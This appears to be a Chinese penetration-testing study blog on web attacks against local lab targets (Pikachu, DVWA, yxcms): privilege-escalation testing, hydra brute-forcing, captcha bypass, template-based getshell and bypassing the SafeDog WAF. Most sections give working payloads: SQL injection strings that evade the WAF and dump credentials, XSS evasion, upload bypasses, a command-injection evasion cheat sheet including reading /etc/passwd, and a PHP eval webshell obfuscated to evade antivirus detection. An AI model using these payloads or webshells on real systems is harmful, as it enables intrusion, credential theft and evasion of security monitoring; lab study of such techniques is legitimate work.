其他Web漏洞

74 阅读4分钟

[TOC]

auth_analyzer插件

下载和安装

  1. 在商店找到auth_analyzer,下载下来。

    !

image-20250915212217586.png

  1. 勾选上扩展

image-20250915212337340.png

靶场部署

  1. 部署靶场,用两个浏览器访问

    docker pull area39/pikachu
    docker run -d -p 8000:80 area39/pikachu
    

工具使用

  1. 用高权限和低权限两个用户登录:

    admin/123456:admin是超级管理员,具备添加/删除⽤户权限 pikachu/000000:pikachu⽤户仅仅具备查看权限,不具备添加/删除⽤户权限

  2. 复制低权限用户的cookie,粘贴到Auth Analyer

image-20250915213505961.png

image-20250915214303914.png

  1. 可以添加一个空cookie组

image-20250915213843790.png

image-20250915214133805.png

  1. 应用选项,用代理浏览器访问高权限的网站

image-20250915214636344.png

user1显示same代表存在垂直越权漏洞。


C/S架构暴力破解

常⽤于⽹络协议、系统、数据库、第三⽅应⽤密码的破解:

暴⼒破解FTP、SSH、SMB、Sqlserver、Mysql、Redis等

hydra

hydra的安装

  1. Windows安装hydra:github.com/maaaaz/thc-…

    解压当前路径打开CMD即可

  2. Kali Linux下⾃带hydra

image-20250916164246516.png

hydra的使用

-l  指定⼀个⽤户名
-L 指定⼀个⽤户名字典
-P 指定⼀个密码字典
-s  指定端⼝
-vV 显示每次的尝试信息
-f 遇到正确的密码,停⽌爆破
-o 将结果输出到⽂件中
-M 指定⼀个服务器列表
-t  Tasks同时运⾏的线程数,默认为16
-e nsr n:尝试空密码s:将⽤户名作为密码r:将⽤户名反向
  1. 使⽤MobaXterm开启ftp

image-20250916172128857.png

  1. 用另一台主机尝试连接

image-20250916172112830.png

image-20250916171924552.png

  1. 使⽤hydra暴⼒破解ftp服务(kali)

    hydra -l ftp -P /home/kali/top500.txt -vV ftp://192.168.184.128
    

image-20250916174536430.png

同理可以爆破多种协议,⽐如MySQL、rdp、redis等

超级弱口令检查工具

超级弱⼝令检查⼯具是⼀款Windows平台的弱⼝令审计⼯具,⽀持批量多线程检查,可快速发现弱密码、弱⼝令账号,密码⽀持和⽤户名结合进⾏检查,⼤⼤提⾼成功率,⽀持⾃定义服务端⼝和字典。 该⼯具在渗透测试虚拟机中已经集成(密码破解->SNETCracker),也可以根据需要⾃⾏安装。 github.com/shack2/SNET…

image-20250916174852322.png

和hydra同理,输入后开始检查

image-20250916175321911.png

暴力破解安全防范

  1. 设计安全的验证码,安全的流程+复杂⽽⼜可⽤的图形。(提问:故意输⼊错误的图形验证码进⾏提交,提交刷新⻚⾯后,⽹站本身是否应该⽣成新的图形验证码?)
  2. 在前端⽣成验证码且后端正常校验验证码的情况下,对验证码有效期和次数进⾏限制。
  3. 限制认证错误的提交次数,如连续5次密码错误,锁定两⼩时,验证码⽤完后⽴即销毁。
  4. 必要的情况下,使⽤双因⼦认证(⼿机验证码、滑动验证码等),利⽤token防⽌暴⼒破解。

验证码绕过

所⽤环境:Pikachu
账号:admin
密码:123456

验证码的主要作⽤:防⽌暴⼒破解、恶意注册、刷票、论坛灌⽔等脚本⾏为。

验证码的分类:⼿机短信、⼿机语⾳、通⽤⽂字、加减法、⾮通⽤⽂字、⾮通⽤⽂字加背景随机加拉伸、⽆感知、滑动拼图、⽂字点选、图标点选、推理拼图、短信上⾏、语序点选、空间推理、语⾳验证等等。

验证码绕过(on client)

  1. 打开靶场,确认验证码基本功能完善。

image-20250916212108976.png

  1. 我们尝试截取登录处数据包,修改密码并多次重放之后发现该验证码依然有效,说明可能存在验证码可以重复使⽤的情况:

image-20250916212346445.png

image-20250916212323688.png 3. 于是进⾏暴⼒破解,破解出密码为123456:

image-20250916214436483.png

造成该验证码重复使⽤的原因是:验证码是在前端利⽤JS语句⽣成和刷新的,我们通过截取数据包进⾏重放绕过了前端刷新验证码的机制。

验证码绕过(on server)

  1. 截取登录处的数据包,先对验证码的功能进⾏完备性验证:

image-20250916214737085.png

  1. 多次更换密码重放之后,服务端仍然返回“⽤户名或者密码不存在”,证明该验证码依然可以重复使⽤:

image-20250916214934030.png

image-20250916215051171.png 造成该验证码重复使⽤的原因是:验证码在验证之后没有销毁$_SESSION['vcode'],造成了重复使⽤。

验证码爆破

如果⽆法绕过,可以尝试硬刚验证码!参考burp验证码爆破

环境搭建

phpstduy搭建yxcms,使⽤nginx,php版本选择5.x即可。 安装包 YxcmsApp_jb51.zip

image-20250916220333098.png

按照安装步骤安装:

image-20250916220705357.png

填入小皮面板的数据库信息,完成安装:

image-20250916221557177.png

image-20250916221610457.png

绕过验证码爆破密码

使⽤ burp 进⾏爆破,当遇到带验证码的登录表单进⾏爆破时,基本尝试抓包后观察验证码是否主动更新,或者进⾏验证码绕过

captcha-killer-modified插件

captcha-killer-modified是个⽤ Java 写的burp插件,设计理念是只专注做好对各种验证码识别技术接⼝的调⽤,说具体点就是burp 通过这⼀个插件,就可以适配各种验证码识别接⼝,⽆需重复编写调⽤代码。

相关⼯具都在云盘中的captcha-killer-modified ⽬录下,也可以直接下载 github.com/f0ng/captch…

image-20250916222001776.png

安装完成

image-20250916222035724.png

识别接口搭建

  1. 在安装的目录下打开cmd

image-20250916222341815.png

  1. 安装依赖库:

    pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
    

image-20250916222451952.png

  1. 接⼝启动

image-20250916222619929.png

验证码爆破

  1. 点击⽹⻚当中的验证码-抓包-将包发送给插件captcha-killer-modified

    http://yxcms.com/index.php?r=admin/index/index
    

image-20250916223050324.png 2. 插件点击获取返回验证码即证明插件安装成功

image-20250916223207588.png

  1. ⿏标右键,在模板库中选择ddddocr-修改端⼝与python当中的保持⼀致-点击识别

image-20250916223306520.png

  1. 点击识别,出现识别后的验证码,记得点击使用插件!

image-20250916223408178.png

image-20250916225112814.png

  1. 攻击类型选择Pitchfork,由于验证码和请求绑定,因此不能使⽤多线程。只能单线程爆破

image-20250916223811471.png

image-20250916223905545.png

变量2-选择通过扩展⽣成-扩展选中captcha-killer-modified-OK

image-20250916223828128.png

变量1密码,正常选择密码爆破⽂档

image-20250916224006501.png

Getshell

暴力破解出密码后,登陆后台:

image-20250916234115326.png 新建模板⽂件,点击模板管理

<?php
  phpinfo();
  ?>

image-20250916234442671.png

image-20250916234949690.png

通过本地文件查看得到新建文件位置:

/protected/apps/default/view/default/phpinfo.php

image-20250916235013513.png

可以看到是我们写⼊的⽂件被执⾏了,所有可以写⼊⼀句话⽊⻢,来进⾏getshell。


Waf绕过

环境介绍

Win11+phpStudy+安全狗

安装DVWA

DVWA-master.zip源代码在云盘中,下载之后,使⽤phpstudy搭建⽹站。

删除.dist后缀

image-20250917164024825.png 进入该文件,修改默认密码连接数据库。

image-20250917164137841.png

成功安装,默认密码为admin/password

image-20250917164804394.png

配置phpstudy

默认情况下phpstudy没有以服务形式安装apache,安全狗需要apache以服务形式启动,这样才能顺利安装。因此需要⼿动安装apache以服务

  1. 关闭apache程序及httpd.exe进程(关闭小皮)

  2. 进⼊D:\phpstudy_pro\Extensions\Apache2.4.39\bin ⽬录, 执⾏ httpd.exe -k install -napache2.4.39

image-20250917165102892.png

在服务中可以看到安装成功,⼿动启动apache服务以后,不要调整也不要关闭phpStudy,直接安装安全狗。

image-20250917165220092.png

image-20250917165426293.png

由于该服务会影响phpstudy的使⽤,因此安全狗安装完成后,禁⽤即可。

安装安全狗(WAF)

官⽹下载最新版安全狗Apache版本:www.safedog.cn/website_saf…

image-20250917165630339.png

image-20250917165826942.png 若没有检测到网站,重新安装一遍。

image-20250917170417918.png

WAF安装与配置

关闭安全狗,尝试⽆防护

尝试输⼊: 1' or 1=1 -- a

image-20250917170928784.png

开启安全狗防护:

image-20250917171105816.png

WAF绕过与SQL注入

在 MySQL 中,/*! */ 被称之为内联注释,⾥⾯的内容是会被MySQL 解析的。解析情况分为以下两种:

内联注释绕过

  1. 当 /*! 紧跟数据库版本号时 这种情况表示,当⽬前的数据库版本号⼤于指定的版本号时,⾥⾯的内容才会被解释SQL 语句,否则会被当成注释处理⽽被忽略掉,下列语句表示当 MySQL 的版本号⼤于 4.1.00 时,后⾯的SQL 语句才会被执⾏:

    CREATEDATABASE `mydb` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci */
    

image-20250917172021726.png

  1. 当 /*! 不紧跟版本号时 这种情况下,⾥⾯的内容会被mysql当成 SQL 语句解析执⾏(不考虑版本),⽽其他数据库会忽略,例如:

    -- 内联注释语句
    SELECT * FROM`demo` /*! where id = 2 */;
    -- 解析后的语句相当于
    SELECT * FROM`demo` whereid = 2;
    

image-20250917171941327.png

  1. 使⽤内联注释成功绕过

    对于要⽤哪5位数,多数情况下⼀般采⽤FUZZ的⽅法

    1'/*!11445and*/'1'='1
    

image-20250917172422242.png

绕过联合注入

1' order by 1-- +  被拦截

image-20250917175221079.png

1' group by 2--  利⽤group by直接绕过

image-20250917175309842.png

1' group by 3--   报错,则查询2

image-20250917180434895.png

1' union select 1,2--  报错

image-20250917180535240.png

先来了解⼀下regexp(正则函数),分别在数据库中执⾏下列语句:

SELECT user FROM users WHERE user REGEXP 'a'
select user from users where user like "%a%"

image-20250917181054325.png

加⼊的REGEXP "%0A%23" 或者LIKE "%0A%23"并没有实际意义,也没有进⾏正则匹配。单纯是为了绕过检测,因为安全狗不检测%23后的内容

1' regexp "%0A%23" /*!11144union %0A select */1,2-- 

image-20250917181210050.png

尝试获取database(),发现被拦截

1' regexp "%0A%23" /*!11144union %0A select */database(),2-- 

再次使⽤內联注释绕过

1' regexp "%0A%23" /*!11144union %0A select */database( /*!11144*/),2--

成功注⼊出数据库名为dvwa

image-20250917182602475.png

同理,注⼊出user()为root@localhost

-1' regexp "%0A%23"/*!11144union %0A select*/ user(%0A /*!11144*/),database( /*!11144*/)-- 

image-20250917183045197.png

接下来尝试获取所有的库名,发现information_schema.schemata被拦截

使⽤下⾯语句绕过,获取dvwa库⾥⾯所有的数据库名

-1' union /*!--+/*%0aselect/*!1 COLLATE utf8_general_ci,*/ group_concat(schema_name) COLLATE utf8_general_ci /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ -- 

image-20250917183155772.png

获取dvwa库⾥⾯所有的表名

-1' union /*!--+/*%0aselect/*!1 COLLATE utf8_general_ci,*/ group_concat(table_name) COLLATE utf8_general_ci /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='dvwa' -- 

image-20250917183230827.png

获取users表⾥⾯的所有字段

-1' union /*!--+/*%0aselect/*!1 COLLATE utf8_general_ci,*/ group_concat(column_name) COLLATE utf8_general_ci /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

image-20250917183342341.png

注⼊出账号密码

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(concat_ws(0x7e,user,password)) /*!from*/ dvwa.users --+

image-20250917183440905.png

md5解密账号密码

WAF绕过XSS攻击

测试环境:DVWA+安全狗

直接输⼊script语句被拦截

<script>alert(1)</script>

image-20250918174116841.png

利⽤base64编码即可绕过:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3N
jcmlwdD4="

image-20250918174734963.png

image-20250918174833028.png

利⽤svg标签进⾏绕过; 标记定义 SVG 图形的容器。

<svg/onload=alert(1)>

image-20250918175030121.png

WAF绕过文件上传

开启安全狗防护,⽆法上传

image-20250918175325133.png

利用双写filename=;进行绕过

(该技巧已失效)

filename=;filename="shell.jsp"

image-20250918175920581.png

利用无用件头绕过

(已失效)

在请求体前⾯添加⼤量⽆⽤数据(注意要和请求头空⼀⾏)

image-20250918180251499.png

免杀webshell

普通⼀句话⽊⻢上传访问被拦截

上传免杀⼀句话⽊⻢,已失效

image-20250918181018266.png

利用00截断绕过

上传⽂件,将⽂件名称改为one.php;%00.jpg,用URL编码转换。

image-20250918185715812.png

上传成功:

image-20250918185802523.png

WAF绕过命令执行

常⻅的命令执⾏函数

system()    			#输出并返回最后⼀⾏shell结果
exec()   	 			#不输出结果,返回最后⼀⾏shell结果,所有结果保存到⼀个返回数组⾥
passthru()    			#只调⽤命令,把命令的运⾏结果原样输出到标准输出设备上
popen()、proc_open()    #不会直接返回执⾏结果,⽽是返回⼀个⽂件指针
shell_exec()    		#通过shell执⾏命令并以字符串的形式返回完整的输出
反引号			 		  #本质是使⽤shell_exec()函数

命令分隔符

Windows:&&  ||  & | 
Linux: && ||  & | ;
分号;在shell中担任连续指令的功能

Linux命令执⾏绕过

  1. 绕过空格
${IFS}
$IFS$9 #$9可改成$加其他数字
<
<> #重定向符
{cat,flag.php} #⽤逗号,实现了空格功能

image-20250918190329340.png

  1. 拼接
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b

3. 编码

$(echo "Y2F0IHRlc3QudHh0"|base64 -d)

4. 单引号、双引号绕过

cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt

5. 反斜杠绕过

cat te\st.txt
c\at te\st.txt

6. 通配符绕过

cat /etc/pass*

Windows命令执行绕过

Windows下同理:如当命令执⾏被拦截的时候需要进⾏绕过,如whoami被拦截可以尝试如下进⾏绕过

w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)
set a=who
set b=ami
%a%%b% //正常执⾏whoami
call %a%%b% //正常执⾏whoami

WAF绕过脚本免杀

下载最新D盾查杀⼯具:

image-20250918181506861.png

将⼀句话⽊⻢拖⼊D盾进⾏查杀,发现后⻔级别为4,说明是eval后⻔,在实战中经常被杀

<?php eval(@$_POST['a']);?>

image-20250918181854580.png

尝试对脚本进⾏免杀处理尝试对脚本进⾏免杀处理

<?php
$name = $_POST[1];
$name = substr($name,0);
eval("echo 123;" . $name."echo 456; " );
?>

将免杀⽊⻢拖⼊D盾进⾏查杀,发现后⻔级别为2,说明是可疑⽂件,在实战中可能会躲避检测

image-20250918181854580.png

再次对⽂件进⾏混淆加密处理uutool.cn/php/,再次使⽤d盾…

image-20250918182247774.png

上传成功:

image-20250918182758098.png

用蚁剑连接成功:

image-20250918185050623.png